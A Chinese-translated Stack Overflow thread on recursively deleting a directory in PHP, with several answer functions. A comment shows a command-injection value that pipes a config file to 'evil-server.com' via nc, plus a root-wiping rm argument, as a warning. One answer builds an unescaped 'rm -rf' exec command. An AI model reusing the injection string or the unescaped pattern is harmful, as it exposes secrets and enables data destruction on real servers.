PHP的递归删除目录功能?
Posted
技术标签:
【中文标题】PHP的递归删除目录功能?【英文标题】:A recursive remove directory function for PHP? 【发布时间】:2010-11-27 07:10:32 【问题描述】:我正在使用 php 移动图像子文件夹的内容
画廊名称/图片/
到另一个文件夹。移动后,我需要删除 GalleryName 目录以及其中的所有其他内容。
我知道除非目录为空,否则rmdir()
将不起作用。我花了一段时间尝试从顶部开始构建一个递归函数到scandir()
,然后是unlink()
(如果它是一个文件)和scandir()
(如果它是一个目录),然后是rmdir()
每个空目录。
到目前为止,它的工作并不完全正确,我开始思考 -- 这不是 PHP 应该能够完成的简单得离谱的功能吗? 删除目录?
那么我有什么遗漏吗?或者是否至少有一个经过验证的功能可供人们用于此操作?
任何帮助将不胜感激。
PS 我比 php.net 网站上的 cmets 更信任你们——那里有数百个功能,但我很想知道你们这里是否有人推荐其中一个。
【问题讨论】:
您是否考虑过带有 'rm -fr' 的 shell_exec() 函数?不是最好的方法,但如果你现在正在做的事情,它工作得很好。 @rogeriopvl 非常危险,但如果你必须使用 shell 转义和真实路径功能 【参考方案1】:这个呢?
function rmdir_recursive($dirPath)
if(!empty($dirPath) && is_dir($dirPath) )
$dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
$files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $path)
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
rmdir($dirPath);
return true;
return false;
【讨论】:
+1 是最短的代码,可能是最好和最快的工作解决方案:) 不错,别忘了在foreach后面加上rmdir($dirPath),否则只会删除文件。 @Coluhuru 添加了 rmdir() 调用。谢谢!$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname());
应该是 $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname());
以便处理链接。
似乎是最好的解决方案,因为它显然适用于任何操作系统。【参考方案2】:
这是我创建/修改的递归函数,它似乎终于可以工作了。希望里面没有什么太危险的东西。
function destroy_dir($dir)
if (!is_dir($dir) || is_link($dir)) return unlink($dir);
foreach (scandir($dir) as $file)
if ($file == '.' || $file == '..') continue;
if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file))
chmod($dir . DIRECTORY_SEPARATOR . $file, 0777);
if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false;
;
return rmdir($dir);
【讨论】:
这个函数很危险,应该是$file而不是$item!【参考方案3】:如果应用程序的服务器运行linux,只需使用shell_exec()函数,并为其提供rm -R命令,如下所示:
$realPath = realpath($dir_path);
if($realPath === FALSE)
throw new \Exception('Directory does not exist');
shell_exec("rm ". escapeshellarg($realPath) ." -R");
解释:
仅当路径存在时递归删除指定目录,并转义路径,使其只能用作shell参数以避免shell命令注入。
如果您不使用escapeshellarg
,可以通过在命令后命名要删除的目录来执行命令。
【讨论】:
根据$dir_path
的来源,您可能会引入一个非常大的安全问题。假设,我以某种方式设置了$dir_path = "-F --no-preserve-root /";
或者只是$dir_path = "; cat config/config.php | nc evil-server.com 80 ;";
,那么可能性是无穷无尽的。
@amenthes 是的,但是您可以将 $dir_path 包装在 realpath() 中以避免这种情况
可以,但上面的例子没有。就目前而言,这是一个危险的建议。在我写这篇文章的时候,这个答案已经被浏览了 32000 次。如果只有 0.1% 的人在错误的情况下逐字复制,那么就有 32 人存在严重的安全问题。【参考方案4】:
我已经修改了一个函数来处理带有点前缀的隐藏 unix 文件并使用 glob:
public static function deleteDir($path)
if (!is_dir($path))
throw new InvalidArgumentException("$path is not a directory");
if (substr($path, strlen($path) - 1, 1) != '/')
$path .= '/';
$dotfiles = glob($path . '.*', GLOB_MARK);
$files = glob($path . '*', GLOB_MARK);
$files = array_merge($files, $dotfiles);
foreach ($files as $file)
if (basename($file) == '.' || basename($file) == '..')
continue;
else if (is_dir($file))
self::deleteDir($file);
else
unlink($file);
rmdir($path);
【讨论】:
【参考方案5】:这里有另一个线程有更多示例: How do I recursively delete a directory and its entire contents (files + sub dirs) in PHP?
如果您使用的是 Yii,那么您可以将其留给框架:
CFileHelper::removeDirectory($my_directory);
【讨论】:
【参考方案6】:我更喜欢从 php 帮助页面 http://php.net/manual/en/function.rmdir.php#115598 派生的增强方法
// check accidential empty, root or relative pathes
if (!empty($path) && ...)
if (PHP_OS === 'Windows')
exec('rd /s /q "'.$path.'"');
else
exec('rm -rf "'.$path.'"');
else
error_log('path not valid:$path'.var_export($path, true));
我做出决定的原因:
更少的代码 速度 保持简单【讨论】:
【参考方案7】:public static function rrmdir($dir)
if (is_dir($dir))
$files = scandir($dir);
foreach ($files as $file)
if ($file != "." && $file != "..")
if (filetype($dir . "/" . $file) == "dir")
self::rrmdir($dir . "/" . $file);
else
unlink($dir . "/" . $file);
reset($files);
rmdir($dir);
【讨论】:
以上是关于PHP的递归删除目录功能?的主要内容,如果未能解决你的问题,请参考以下文章